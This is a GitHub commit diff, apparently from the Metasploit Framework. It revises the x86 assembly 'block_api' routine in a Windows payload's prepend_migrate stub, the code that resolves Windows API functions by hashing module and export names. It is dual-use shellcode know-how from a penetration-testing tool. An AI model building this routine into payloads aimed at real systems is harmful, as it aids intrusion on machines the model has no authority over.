Skip to content

Commit b226ecf

Browse files
committed
Add block_api changes to prepend_migrate
1 parent 14aa8ff commit b226ecf

File tree

1 file changed

+13
-8
lines changed

1 file changed

+13
-8
lines changed

lib/msf/core/payload/windows/prepend_migrate.rb

Lines changed: 13 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -85,21 +85,24 @@ def prepend_migrate(buf)
8585
ror edi, 13 ; Rotate right our hash value
8686
add edi, eax ; Add the next byte of the name
8787
loop loop_modname ; Loop untill we have read enough
88+
8889
; We now have the module hash computed
8990
push edx ; Save the current position in the module list for later
9091
push edi ; Save the current module hash for later
9192
; Proceed to iterate the export address table
9293
mov edx, [edx+16] ; Get this modules base address
9394
mov eax, [edx+60] ; Get PE header
94-
add eax, edx ; Add the modules base address
95-
mov eax, [eax+120] ; Get export tables RVA
96-
test eax, eax ; Test if no export address table is present
97-
jz get_next_mod1 ; If no EAT present, process the next module
98-
add eax, edx ; Add the modules base address
99-
push eax ; Save the current modules EAT
100-
mov ecx, [eax+24] ; Get the number of function names
101-
mov ebx, [eax+32] ; Get the rva of the function names
95+
96+
; use ecx as our EAT pointer here so we can take advantage of jecxz.
97+
mov ecx, [eax+edx+120] ; Get the EAT from the PE header
98+
jecxz get_next_mod1 ; If no EAT present, process the next module
99+
add ecx, edx ; Add the modules base address
100+
push ecx ; Save the current modules EAT
101+
mov ebx, [ecx+32] ; Get the rva of the function names
102102
add ebx, edx ; Add the modules base address
103+
mov ecx, [ecx+24] ; Get the number of function names
104+
; now ecx returns to its regularly scheduled counter duties
105+
103106
; Computing the module hash + function hash
104107
get_next_func: ;
105108
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
@@ -118,6 +121,7 @@ def prepend_migrate(buf)
118121
add edi, [ebp-8] ; Add the current module hash to the function hash
119122
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
120123
jnz get_next_func ; Go compute the next function hash if we have not found it
124+
121125
; If found, fix up stack, call the function and then value else compute the next one...
122126
pop eax ; Restore the current modules EAT
123127
mov ebx, [eax+36] ; Get the ordinal table rva
@@ -138,6 +142,7 @@ def prepend_migrate(buf)
138142
push ecx ; Push back the correct return value
139143
jmp eax ; Jump into the required function
140144
; We now automagically return to the correct caller...
145+
141146
get_next_mod: ;
142147
pop eax ; Pop off the current (now the previous) modules EAT
143148
get_next_mod1: ;

0 commit comments

Comments
 (0)